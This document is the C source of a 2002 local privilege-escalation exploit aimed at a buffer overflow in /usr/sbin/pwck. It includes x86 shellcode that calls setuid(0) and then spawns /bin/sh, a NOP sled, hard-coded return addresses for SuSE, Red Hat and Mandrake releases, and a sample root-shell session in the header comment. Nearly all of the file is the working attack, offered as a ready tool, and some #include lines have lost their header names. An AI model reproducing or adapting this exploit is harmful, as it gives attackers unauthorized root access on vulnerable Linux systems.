/* * UHAGr CONFIDENTIAL SOURCES - DO NOT DISTRIBUTE * Code By HK-Vig * * This Is A Typical Code Which Exploits The /usr/sbin/pwck * Vulnerability * * If Everything Goes Well Then... * hkvig@linux:~/Exploits/pwck > ./UHAGr-pr00t -t 1 * * * UHAGr Developments * /usr/sbin/pwck Local r00t Exploit * * Target: 0 : SuSE Linux 7.2 Pro * Ret Addr: 0xbffff1ac * Buffer Size: 2300 Bytes ( 0xbffff4b4 ) * Address Buffer Size: 1036 Bytes ( 0xbffff4b8 ) * * r00t ? =) * sh-2.05# id * uid=0(root) gid=100(users) groups=100(users),14(uucp),16(dialout),17(audio),33(video),43(modem) * sh-2.05# * * All The Targets Included Are Tested , The Above Example Is From * My SuSE 7.2 Pro Box Which Had /usr/sbin/pwck SetUID By Default (?). * * [Sep-05-2002] * */ #include #include #include #include char information[] = "\n\nUHAGr Developments\n" "/usr/sbin/pwck Local r00t Exploit\n\n"; /* * The Structure Holding The Vulnerable Host's Information. * Every Host Needs Its Own Buffer And Address Sizes And * This Messes With The Whole Code. I Have Also Included * Some Dafault Values For The Buffers. * */ struct targ_list { int number; char *descr; unsigned long int addr; int buff_size; int addr_size; } targets[] = { { 0 , "SuSE Linux 7.2 Pro\n" , 0xbffff1ac , 2300 , 1036 } , { 1 , "SuSE Linux 7.2 Home\n" , 0xbffff1bc , 2812 , 1036 } , { 2 , "Red Hat Linux 7.3\n" , 0xbffff3c0 , 2828 , 1548 } , { 3 , "Mandrake Linux 8.2\n" , 0xbffff1e8 , 2700 , 1292 } , { 0 , NULL , 0 , 0 , 0 } }; #define DEFAULT_BUFFER_SIZE 2700 #define DEFAULT_ADDR_SIZE 1024 #define MAX_TARGETS_NUMBER 3 #define DEFAULT "Default Attributes\n" /* * The Sum Of The Shellcode And Nopcode Buffer Sizes Is * Rounded Up To Four's Multiply So That Return Addresses * Are Written With The Proper Way In Our Malicious Buffer. * */ char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char nopcode[1123]; char *buffer , *addresses; int usage( void ) { fprintf( stdout , "Available Options:\n" "\t-t \n" "\t-o \n" "You Don't Have To Specify An Offset If You Select A\n" "Target From The List. Just Use One Of Those Options.\n" "\n\n" ); return 0; } int print_targets( void ) { int loop = 0; fprintf( stdout , "Available Targets:\n" ); while( targets[loop].descr != NULL ) { fprintf( stdout , "\t%d : %s" , targets[loop].number , targets[loop].descr ); loop++; } fprintf( stdout , "\n" ); return 0; } unsigned long int get_esp( void ) { __asm__( "xor %eax , %eax\n" "movl %esp , %eax\n" ); } struct targ_list bof_info( int target , long int offset ) { struct targ_list info; info.number = 0; info.descr = NULL; info.addr = 0; info.buff_size = 0; info.addr_size = 0; if( target != -1 && target <= MAX_TARGETS_NUMBER ) { info = targets[target]; return info; } else if( offset == -1 ) { fprintf( stdout , "bof_info(): %d: Errorneus target\n" , target ); return info; } if( offset ) { info.number = 0; info.descr = DEFAULT; info.addr = (( get_esp()) - offset ); info.buff_size = DEFAULT_BUFFER_SIZE; info.addr_size = DEFAULT_ADDR_SIZE; } return info; } int main( int argc , char *argv[] ) { long int offset = -1; int option , target = -1 , loop; struct targ_list info; fprintf( stdout , information ); if( argc == 1 ) { ( void *)usage(); ( void *)print_targets(); return 0; } while(( option = getopt( argc , argv , "t: o:" )) != EOF ) { switch( option ) { case 't': target = atoi( optarg ); break; case 'o': offset = strtoul( optarg , NULL , 16 ); fprintf( stdout , "Offset: %#x\n" , offset ); break; default: ( void *)usage(); ( void *)print_targets(); return 0; } } info = bof_info( target , offset ); if(( info.descr ) == NULL ) { return 0; } else { fprintf( stdout , "Target: %d : %s" "Ret Addr: %#x\n" "Buffer Size: %d Bytes ( %p )\n" "Address Buffer Size: %d Bytes ( %p )\n\n", info.number , info.descr , info.addr , info.buff_size , &info.buff_size , info.addr_size , &info.addr_size ); } /* * Allocating Heap Memory For The Buffers And Checking If * The Returned Area Is NULL And If The Pointer Returned * Is Zero. * */ if(( buffer = ( char *)malloc( info.buff_size )) == NULL ) { perror( "malloc()" ); return 0; } if(( addresses = ( char *)malloc( info.addr_size )) == NULL ) { perror( "malloc()" ); return 0; } if((( unsigned long int )buffer ) == 0x00 || (( unsigned long int )addresses ) == 0x00 ) { fprintf( stdout , "malloc(): Invalid pointer\n" ); return 0; } /* * Filling The Address And Nopcode Buffers * */ for( loop = 0; loop < info.addr_size; loop += 4 ) { *( unsigned long int *)&addresses[loop] = info.addr; } ( void *)memset( nopcode , 0x90 , sizeof( nopcode )); /* * Creating The Final Mailicious Buffer * */ fprintf( stdout , "r00t ? =)\n" ); if(( snprintf( buffer , info.buff_size , "%s%s%s\0" , nopcode , shellcode , addresses )) == -1 ) { perror( "snprintf()" ); return 0; } if(( execl( "/usr/sbin/pwck" , "pwck" , buffer , 0 )) == -1 ) { fprintf( stdout , "No r00t =(\n" ); perror( "execl()" ); return 0; } return 0; }